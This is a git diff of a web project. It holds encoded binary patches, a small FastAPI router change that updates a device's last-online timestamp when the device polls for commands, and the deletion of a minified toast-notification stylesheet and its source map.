zoYQ-uklYCf&teXpKw_o|c=8ezC*a;83*U0x2ijY|oIWL>MnMxud=FSyG0`-wQW43R zRO%_|>yk?KO2(v8&qzBZl^T+aNu}b_PD!QqNXDd6dnIG~!rrkOQk?qUv~efd-X+`_A9hs9iRH_=5KF(ehUW#fdo*#NPa&3Zlj3g z?wcqk09`5!whSYp@Q=chYmZF#D|CN_u|r=|g@T_3z)l0T+DfoC`k%^lNTEZBYJx6L zApQxMNCRTOaJ@y-XoE7nPoejzr_O#l`|HeaG8Jls216Y{`3(8FJKiWFIYhM|x>Oi! zIRpQ|rmw*FWV%bCyVTgwhJPddVd&#fW5Vl`jXcRAk|4BhoqWGc!}JC!j1?w70C$Ku z`5M4Zduz27e|5!H&%ECEW}iB8?5_1!_D}4{zUSZ=Mp&M0{?hY^r2Wml3PYL^{*h(h zC(|&i{pz#hpILuv{~Yj`=oeuP5th^X?_I#xDAn_b?*MeHFr>y+qw11O!-9v^BggL^ e`_!Tt7 diff --git a/routers/command/command.py b/routers/command/command.py index 06e333b..7fe12d1 100644 --- a/routers/command/command.py +++ b/routers/command/command.py @@ -3,8 +3,7 @@ from pydantic import BaseModel from fastapi.responses import JSONResponse, StreamingResponse from fastapi.encoders import jsonable_encoder -from db.database import command_db, tear_drive -from routers.client import client +from db.database import command_db, tear_drive,client_db from fastapi_jwt_auth import AuthJWT router = APIRouter( @@ -14,7 +13,7 @@ ) command_db = command_db() - +client_dbx = client_db() class command_info(BaseModel): device_id: str @@ -36,7 +35,6 @@ class complete(BaseModel): success: bool = True response_date: datetime = datetime.now().strftime("%Y-%m-%d %H:%M:%S") - @router.post("/add") async def add_command(command_info: command_info, Authorize: AuthJWT = Depends()): Authorize.jwt_required() @@ -53,7 +51,10 @@ async def add_command(command_info: command_info, Authorize: AuthJWT = Depends() @router.get("/device/{device_id}") async def get_client(device_id: str): - await client.update_lasttime(device_id) + client_dbx.update( + key=device_id, + updates={"last_online": datetime.now().strftime("%Y-%m-%d %H:%M:%S")}, + ) return JSONResponse( { "success": True, diff --git a/routers/notification/.DS_Store b/routers/notification/.DS_Store new file mode 100644 index 0000000000000000000000000000000000000000..433604adc9904f9e2874792e6fd29174a572e322 GIT binary patch literal 6148 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 az{&&c_SK$s5$jPuydiv:last-child{flex:1 1}.Toastify__toast-icon{-webkit-margin-end:10px;display:flex;flex-shrink:0;margin-inline-end:10px;width:20px}.Toastify--animate{-webkit-animation-duration:.7s;animation-duration:.7s;-webkit-animation-fill-mode:both;animation-fill-mode:both}.Toastify--animate-icon{-webkit-animation-duration:.3s;animation-duration:.3s;-webkit-animation-fill-mode:both;animation-fill-mode:both}@media only screen and (max-width:480px){.Toastify__toast{border-radius:0;margin-bottom:0}}.Toastify__toast-theme--dark{background:#121212;background:var(--toastify-color-dark);color:#fff;color:var(--toastify-text-color-dark)}.Toastify__toast-theme--colored.Toastify__toast--default,.Toastify__toast-theme--light{background:#fff;background:var(--toastify-color-light);color:#757575;color:var(--toastify-text-color-light)}.Toastify__toast-theme--colored.Toastify__toast--info{background:#3498db;background:var(--toastify-color-info);color:#fff;color:var(--toastify-text-color-info)}.Toastify__toast-theme--colored.Toastify__toast--success{background:#07bc0c;background:var(--toastify-color-success);color:#fff;color:var(--toastify-text-color-success)}.Toastify__toast-theme--colored.Toastify__toast--warning{background:#f1c40f;background:var(--toastify-color-warning);color:#fff;color:var(--toastify-text-color-warning)}.Toastify__toast-theme--colored.Toastify__toast--error{background:#e74c3c;background:var(--toastify-color-error);color:#fff;color:var(--toastify-text-color-error)}.Toastify__progress-bar-theme--light{background:linear-gradient(90deg,#4cd964,#5ac8fa,#007aff,#34aadc,#5856d6,#ff2d55);background:var(--toastify-color-progress-light)}.Toastify__progress-bar-theme--dark{background:#bb86fc;background:var(--toastify-color-progress-dark)}.Toastify__progress-bar--info{background:#3498db;background:var(--toastify-color-progress-info)}.Toastify__progress-bar--success{background:#07bc0c;background:var(--toastify-color-progress-success)}.Toastify__progress-bar--warning{background:#f1c40f;background:var(--toastify-color-progress-warning)}.Toastify__progress-bar--error{background:#e74c3c;background:var(--toastify-color-progress-error)}.Toastify__progress-bar-theme--colored.Toastify__progress-bar--error,.Toastify__progress-bar-theme--colored.Toastify__progress-bar--info,.Toastify__progress-bar-theme--colored.Toastify__progress-bar--success,.Toastify__progress-bar-theme--colored.Toastify__progress-bar--warning{background:hsla(0,0%,100%,.7);background:var(--toastify-color-transparent)}.Toastify__close-button{align-self:flex-start;background:transparent;border:none;color:#fff;cursor:pointer;opacity:.7;outline:none;padding:0;transition:.3s ease}.Toastify__close-button--light{color:#000;opacity:.3}.Toastify__close-button>svg{fill:currentColor;height:16px;width:14px}.Toastify__close-button:focus,.Toastify__close-button:hover{opacity:1}@-webkit-keyframes Toastify__trackProgress{0%{-webkit-transform:scaleX(1);transform:scaleX(1)}to{-webkit-transform:scaleX(0);transform:scaleX(0)}}@keyframes Toastify__trackProgress{0%{-webkit-transform:scaleX(1);transform:scaleX(1)}to{-webkit-transform:scaleX(0);transform:scaleX(0)}}.Toastify__progress-bar{bottom:0;height:5px;left:0;opacity:.7;position:absolute;-webkit-transform-origin:left;transform-origin:left;width:100%;z-index:9999;z-index:var(--toastify-z-index)}.Toastify__progress-bar--animated{-webkit-animation:Toastify__trackProgress linear 1 forwards;animation:Toastify__trackProgress linear 1 forwards}.Toastify__progress-bar--controlled{transition:-webkit-transform .2s;transition:transform .2s;transition:transform .2s,-webkit-transform .2s}.Toastify__progress-bar--rtl{left:auto;right:0;-webkit-transform-origin:right;transform-origin:right}.Toastify__spinner{-webkit-animation:Toastify__spin .65s linear infinite;animation:Toastify__spin .65s linear infinite;border:2px solid #e0e0e0;border-color:var(--toastify-spinner-color-empty-area);border-radius:100%;border-right:2px solid var(--toastify-spinner-color);box-sizing:border-box;height:20px;width:20px}@-webkit-keyframes Toastify__bounceInRight{0%,60%,75%,90%,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1)}0%{opacity:0;-webkit-transform:translate3d(3000px,0,0);transform:translate3d(3000px,0,0)}60%{opacity:1;-webkit-transform:translate3d(-25px,0,0);transform:translate3d(-25px,0,0)}75%{-webkit-transform:translate3d(10px,0,0);transform:translate3d(10px,0,0)}90%{-webkit-transform:translate3d(-5px,0,0);transform:translate3d(-5px,0,0)}to{-webkit-transform:none;transform:none}}@keyframes Toastify__bounceInRight{0%,60%,75%,90%,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1)}0%{opacity:0;-webkit-transform:translate3d(3000px,0,0);transform:translate3d(3000px,0,0)}60%{opacity:1;-webkit-transform:translate3d(-25px,0,0);transform:translate3d(-25px,0,0)}75%{-webkit-transform:translate3d(10px,0,0);transform:translate3d(10px,0,0)}90%{-webkit-transform:translate3d(-5px,0,0);transform:translate3d(-5px,0,0)}to{-webkit-transform:none;transform:none}}@-webkit-keyframes Toastify__bounceOutRight{20%{opacity:1;-webkit-transform:translate3d(-20px,0,0);transform:translate3d(-20px,0,0)}to{opacity:0;-webkit-transform:translate3d(2000px,0,0);transform:translate3d(2000px,0,0)}}@keyframes Toastify__bounceOutRight{20%{opacity:1;-webkit-transform:translate3d(-20px,0,0);transform:translate3d(-20px,0,0)}to{opacity:0;-webkit-transform:translate3d(2000px,0,0);transform:translate3d(2000px,0,0)}}@-webkit-keyframes Toastify__bounceInLeft{0%,60%,75%,90%,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1)}0%{opacity:0;-webkit-transform:translate3d(-3000px,0,0);transform:translate3d(-3000px,0,0)}60%{opacity:1;-webkit-transform:translate3d(25px,0,0);transform:translate3d(25px,0,0)}75%{-webkit-transform:translate3d(-10px,0,0);transform:translate3d(-10px,0,0)}90%{-webkit-transform:translate3d(5px,0,0);transform:translate3d(5px,0,0)}to{-webkit-transform:none;transform:none}}@keyframes Toastify__bounceInLeft{0%,60%,75%,90%,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1)}0%{opacity:0;-webkit-transform:translate3d(-3000px,0,0);transform:translate3d(-3000px,0,0)}60%{opacity:1;-webkit-transform:translate3d(25px,0,0);transform:translate3d(25px,0,0)}75%{-webkit-transform:translate3d(-10px,0,0);transform:translate3d(-10px,0,0)}90%{-webkit-transform:translate3d(5px,0,0);transform:translate3d(5px,0,0)}to{-webkit-transform:none;transform:none}}@-webkit-keyframes Toastify__bounceOutLeft{20%{opacity:1;-webkit-transform:translate3d(20px,0,0);transform:translate3d(20px,0,0)}to{opacity:0;-webkit-transform:translate3d(-2000px,0,0);transform:translate3d(-2000px,0,0)}}@keyframes Toastify__bounceOutLeft{20%{opacity:1;-webkit-transform:translate3d(20px,0,0);transform:translate3d(20px,0,0)}to{opacity:0;-webkit-transform:translate3d(-2000px,0,0);transform:translate3d(-2000px,0,0)}}@-webkit-keyframes Toastify__bounceInUp{0%,60%,75%,90%,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1)}0%{opacity:0;-webkit-transform:translate3d(0,3000px,0);transform:translate3d(0,3000px,0)}60%{opacity:1;-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0)}75%{-webkit-transform:translate3d(0,10px,0);transform:translate3d(0,10px,0)}90%{-webkit-transform:translate3d(0,-5px,0);transform:translate3d(0,-5px,0)}to{-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes Toastify__bounceInUp{0%,60%,75%,90%,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1)}0%{opacity:0;-webkit-transform:translate3d(0,3000px,0);transform:translate3d(0,3000px,0)}60%{opacity:1;-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0)}75%{-webkit-transform:translate3d(0,10px,0);transform:translate3d(0,10px,0)}90%{-webkit-transform:translate3d(0,-5px,0);transform:translate3d(0,-5px,0)}to{-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes Toastify__bounceOutUp{20%{-webkit-transform:translate3d(0,-10px,0);transform:translate3d(0,-10px,0)}40%,45%{opacity:1;-webkit-transform:translate3d(0,20px,0);transform:translate3d(0,20px,0)}to{opacity:0;-webkit-transform:translate3d(0,-2000px,0);transform:translate3d(0,-2000px,0)}}@keyframes Toastify__bounceOutUp{20%{-webkit-transform:translate3d(0,-10px,0);transform:translate3d(0,-10px,0)}40%,45%{opacity:1;-webkit-transform:translate3d(0,20px,0);transform:translate3d(0,20px,0)}to{opacity:0;-webkit-transform:translate3d(0,-2000px,0);transform:translate3d(0,-2000px,0)}}@-webkit-keyframes Toastify__bounceInDown{0%,60%,75%,90%,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1)}0%{opacity:0;-webkit-transform:translate3d(0,-3000px,0);transform:translate3d(0,-3000px,0)}60%{opacity:1;-webkit-transform:translate3d(0,25px,0);transform:translate3d(0,25px,0)}75%{-webkit-transform:translate3d(0,-10px,0);transform:translate3d(0,-10px,0)}90%{-webkit-transform:translate3d(0,5px,0);transform:translate3d(0,5px,0)}to{-webkit-transform:none;transform:none}}@keyframes Toastify__bounceInDown{0%,60%,75%,90%,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1)}0%{opacity:0;-webkit-transform:translate3d(0,-3000px,0);transform:translate3d(0,-3000px,0)}60%{opacity:1;-webkit-transform:translate3d(0,25px,0);transform:translate3d(0,25px,0)}75%{-webkit-transform:translate3d(0,-10px,0);transform:translate3d(0,-10px,0)}90%{-webkit-transform:translate3d(0,5px,0);transform:translate3d(0,5px,0)}to{-webkit-transform:none;transform:none}}@-webkit-keyframes Toastify__bounceOutDown{20%{-webkit-transform:translate3d(0,10px,0);transform:translate3d(0,10px,0)}40%,45%{opacity:1;-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0)}to{opacity:0;-webkit-transform:translate3d(0,2000px,0);transform:translate3d(0,2000px,0)}}@keyframes Toastify__bounceOutDown{20%{-webkit-transform:translate3d(0,10px,0);transform:translate3d(0,10px,0)}40%,45%{opacity:1;-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0)}to{opacity:0;-webkit-transform:translate3d(0,2000px,0);transform:translate3d(0,2000px,0)}}.Toastify__bounce-enter--bottom-left,.Toastify__bounce-enter--top-left{-webkit-animation-name:Toastify__bounceInLeft;animation-name:Toastify__bounceInLeft}.Toastify__bounce-enter--bottom-right,.Toastify__bounce-enter--top-right{-webkit-animation-name:Toastify__bounceInRight;animation-name:Toastify__bounceInRight}.Toastify__bounce-enter--top-center{-webkit-animation-name:Toastify__bounceInDown;animation-name:Toastify__bounceInDown}.Toastify__bounce-enter--bottom-center{-webkit-animation-name:Toastify__bounceInUp;animation-name:Toastify__bounceInUp}.Toastify__bounce-exit--bottom-left,.Toastify__bounce-exit--top-left{-webkit-animation-name:Toastify__bounceOutLeft;animation-name:Toastify__bounceOutLeft}.Toastify__bounce-exit--bottom-right,.Toastify__bounce-exit--top-right{-webkit-animation-name:Toastify__bounceOutRight;animation-name:Toastify__bounceOutRight}.Toastify__bounce-exit--top-center{-webkit-animation-name:Toastify__bounceOutUp;animation-name:Toastify__bounceOutUp}.Toastify__bounce-exit--bottom-center{-webkit-animation-name:Toastify__bounceOutDown;animation-name:Toastify__bounceOutDown}@-webkit-keyframes Toastify__zoomIn{0%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}50%{opacity:1}}@keyframes Toastify__zoomIn{0%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}50%{opacity:1}}@-webkit-keyframes Toastify__zoomOut{0%{opacity:1}50%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}to{opacity:0}}@keyframes Toastify__zoomOut{0%{opacity:1}50%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}to{opacity:0}}.Toastify__zoom-enter{-webkit-animation-name:Toastify__zoomIn;animation-name:Toastify__zoomIn}.Toastify__zoom-exit{-webkit-animation-name:Toastify__zoomOut;animation-name:Toastify__zoomOut}@-webkit-keyframes Toastify__flipIn{0%{-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in;opacity:0;-webkit-transform:perspective(400px) rotateX(90deg);transform:perspective(400px) rotateX(90deg)}40%{-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in;-webkit-transform:perspective(400px) rotateX(-20deg);transform:perspective(400px) rotateX(-20deg)}60%{opacity:1;-webkit-transform:perspective(400px) rotateX(10deg);transform:perspective(400px) rotateX(10deg)}80%{-webkit-transform:perspective(400px) rotateX(-5deg);transform:perspective(400px) rotateX(-5deg)}to{-webkit-transform:perspective(400px);transform:perspective(400px)}}@keyframes Toastify__flipIn{0%{-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in;opacity:0;-webkit-transform:perspective(400px) rotateX(90deg);transform:perspective(400px) rotateX(90deg)}40%{-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in;-webkit-transform:perspective(400px) rotateX(-20deg);transform:perspective(400px) rotateX(-20deg)}60%{opacity:1;-webkit-transform:perspective(400px) rotateX(10deg);transform:perspective(400px) rotateX(10deg)}80%{-webkit-transform:perspective(400px) rotateX(-5deg);transform:perspective(400px) rotateX(-5deg)}to{-webkit-transform:perspective(400px);transform:perspective(400px)}}@-webkit-keyframes Toastify__flipOut{0%{-webkit-transform:perspective(400px);transform:perspective(400px)}30%{opacity:1;-webkit-transform:perspective(400px) rotateX(-20deg);transform:perspective(400px) rotateX(-20deg)}to{opacity:0;-webkit-transform:perspective(400px) rotateX(90deg);transform:perspective(400px) rotateX(90deg)}}@keyframes Toastify__flipOut{0%{-webkit-transform:perspective(400px);transform:perspective(400px)}30%{opacity:1;-webkit-transform:perspective(400px) rotateX(-20deg);transform:perspective(400px) rotateX(-20deg)}to{opacity:0;-webkit-transform:perspective(400px) rotateX(90deg);transform:perspective(400px) rotateX(90deg)}}.Toastify__flip-enter{-webkit-animation-name:Toastify__flipIn;animation-name:Toastify__flipIn}.Toastify__flip-exit{-webkit-animation-name:Toastify__flipOut;animation-name:Toastify__flipOut}@-webkit-keyframes Toastify__slideInRight{0%{-webkit-transform:translate3d(110%,0,0);transform:translate3d(110%,0,0);visibility:visible}to{-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes Toastify__slideInRight{0%{-webkit-transform:translate3d(110%,0,0);transform:translate3d(110%,0,0);visibility:visible}to{-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes Toastify__slideInLeft{0%{-webkit-transform:translate3d(-110%,0,0);transform:translate3d(-110%,0,0);visibility:visible}to{-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes Toastify__slideInLeft{0%{-webkit-transform:translate3d(-110%,0,0);transform:translate3d(-110%,0,0);visibility:visible}to{-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes Toastify__slideInUp{0%{-webkit-transform:translate3d(0,110%,0);transform:translate3d(0,110%,0);visibility:visible}to{-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes Toastify__slideInUp{0%{-webkit-transform:translate3d(0,110%,0);transform:translate3d(0,110%,0);visibility:visible}to{-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes Toastify__slideInDown{0%{-webkit-transform:translate3d(0,-110%,0);transform:translate3d(0,-110%,0);visibility:visible}to{-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes Toastify__slideInDown{0%{-webkit-transform:translate3d(0,-110%,0);transform:translate3d(0,-110%,0);visibility:visible}to{-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes Toastify__slideOutRight{0%{-webkit-transform:translateZ(0);transform:translateZ(0)}to{-webkit-transform:translate3d(110%,0,0);transform:translate3d(110%,0,0);visibility:hidden}}@keyframes Toastify__slideOutRight{0%{-webkit-transform:translateZ(0);transform:translateZ(0)}to{-webkit-transform:translate3d(110%,0,0);transform:translate3d(110%,0,0);visibility:hidden}}@-webkit-keyframes Toastify__slideOutLeft{0%{-webkit-transform:translateZ(0);transform:translateZ(0)}to{-webkit-transform:translate3d(-110%,0,0);transform:translate3d(-110%,0,0);visibility:hidden}}@keyframes Toastify__slideOutLeft{0%{-webkit-transform:translateZ(0);transform:translateZ(0)}to{-webkit-transform:translate3d(-110%,0,0);transform:translate3d(-110%,0,0);visibility:hidden}}@-webkit-keyframes Toastify__slideOutDown{0%{-webkit-transform:translateZ(0);transform:translateZ(0)}to{-webkit-transform:translate3d(0,500px,0);transform:translate3d(0,500px,0);visibility:hidden}}@keyframes Toastify__slideOutDown{0%{-webkit-transform:translateZ(0);transform:translateZ(0)}to{-webkit-transform:translate3d(0,500px,0);transform:translate3d(0,500px,0);visibility:hidden}}@-webkit-keyframes Toastify__slideOutUp{0%{-webkit-transform:translateZ(0);transform:translateZ(0)}to{-webkit-transform:translate3d(0,-500px,0);transform:translate3d(0,-500px,0);visibility:hidden}}@keyframes Toastify__slideOutUp{0%{-webkit-transform:translateZ(0);transform:translateZ(0)}to{-webkit-transform:translate3d(0,-500px,0);transform:translate3d(0,-500px,0);visibility:hidden}}.Toastify__slide-enter--bottom-left,.Toastify__slide-enter--top-left{-webkit-animation-name:Toastify__slideInLeft;animation-name:Toastify__slideInLeft}.Toastify__slide-enter--bottom-right,.Toastify__slide-enter--top-right{-webkit-animation-name:Toastify__slideInRight;animation-name:Toastify__slideInRight}.Toastify__slide-enter--top-center{-webkit-animation-name:Toastify__slideInDown;animation-name:Toastify__slideInDown}.Toastify__slide-enter--bottom-center{-webkit-animation-name:Toastify__slideInUp;animation-name:Toastify__slideInUp}.Toastify__slide-exit--bottom-left,.Toastify__slide-exit--top-left{-webkit-animation-name:Toastify__slideOutLeft;animation-name:Toastify__slideOutLeft}.Toastify__slide-exit--bottom-right,.Toastify__slide-exit--top-right{-webkit-animation-name:Toastify__slideOutRight;animation-name:Toastify__slideOutRight}.Toastify__slide-exit--top-center{-webkit-animation-name:Toastify__slideOutUp;animation-name:Toastify__slideOutUp}.Toastify__slide-exit--bottom-center{-webkit-animation-name:Toastify__slideOutDown;animation-name:Toastify__slideOutDown}@-webkit-keyframes Toastify__spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(1turn);transform:rotate(1turn)}}@keyframes Toastify__spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(1turn);transform:rotate(1turn)}} -/*# sourceMappingURL=main.101b48ee.css.map*/ \ No newline at end of file diff --git a/static/css/main.101b48ee.css.map b/static/css/main.101b48ee.css.map deleted file mode 100644 index 4e03829..0000000 --- a/static/css/main.101b48ee.css.map +++ /dev/null @@ -1 +0,0 @@ -{"version":3,"file":"static/css/main.101b48ee.css","mappings":"AAAA,KAKE,kCAAmC,CACnC,iCAAkC,CAJlC,mIAEY,CAHZ,QAMF,CAEA,KACE,uEAEF,CCZA,KACE,iBACF,CAEA,UACE,aAAc,CACd,mBACF,CAEA,8CACE,UACE,mDAA4C,CAA5C,2CACF,CACF,CAEA,YAKE,kBAAmB,CAJnB,wBAAyB,CAOzB,UAAY,CALZ,YAAa,CACb,qBAAsB,CAGtB,4BAA6B,CAD7B,sBAAuB,CAJvB,gBAOF,CAEA,UACE,aACF,CAEA,iCACE,GACE,8BAAuB,CAAvB,sBACF,CACA,GACE,+BAAyB,CAAzB,uBACF,CACF,CAPA,yBACE,GACE,8BAAuB,CAAvB,sBACF,CACA,GACE,+BAAyB,CAAzB,uBACF,CACF,CClCA,MACE,2BAA4B,CAC5B,6BAA8B,CAC9B,6BAA8B,CAC9B,gCAAiC,CACjC,gCAAiC,CACjC,8BAA+B,CAC/B,+CAAsD,CAEtD,qDAAsD,CACtD,2DAA4D,CAC5D,2DAA4D,CAC5D,uDAAwD,CAExD,4BAA6B,CAC7B,gCAAiC,CACjC,gCAAiC,CACjC,iCAAkC,CAClC,iCAAkC,CAClC,uBAAwB,CAExB,mCAAoC,CACpC,+BAAgC,CAGhC,+BAAgC,CAChC,kCAAmC,CACnC,kCAAmC,CACnC,gCAAiC,CAEjC,gCAAiC,CACjC,2CAA4C,CAG5C,uGAUA,sCAAuC,CACvC,yDAA0D,CAC1D,+DAAgE,CAChE,+DAAgE,CAChE,2DCXF,CCxCA,2BAME,qBAAsB,CACtB,UAAW,CAHX,WAAY,CADZ,cAAe,CADf,wGAAgE,CAGhE,6CAAkC,CAJlC,4CDiDF,CC1CE,qCAEE,QAAS,CADT,OD6CJ,CC1CE,uCAEE,QAAS,CADT,OAAQ,CAER,6DD4CJ,CC1CE,sCAEE,SAAU,CADV,OD6CJ,CC1CE,wCACE,UAAW,CACX,QD4CJ,CC1CE,0CACE,UAAW,CACX,QAAS,CACT,6DD4CJ,CC1CE,yCACE,UAAW,CACX,SD4CJ,CCxCA,yCACE,2BAGE,MAAO,CACP,QAAS,CAFT,SAAU,CADV,WD8CF,CC1CE,kHAGE,KAAM,CACN,uDD0CJ,CCxCE,2HAGE,QAAS,CACT,uDDwCJ,CCtCE,gCAEE,SAAa,CADb,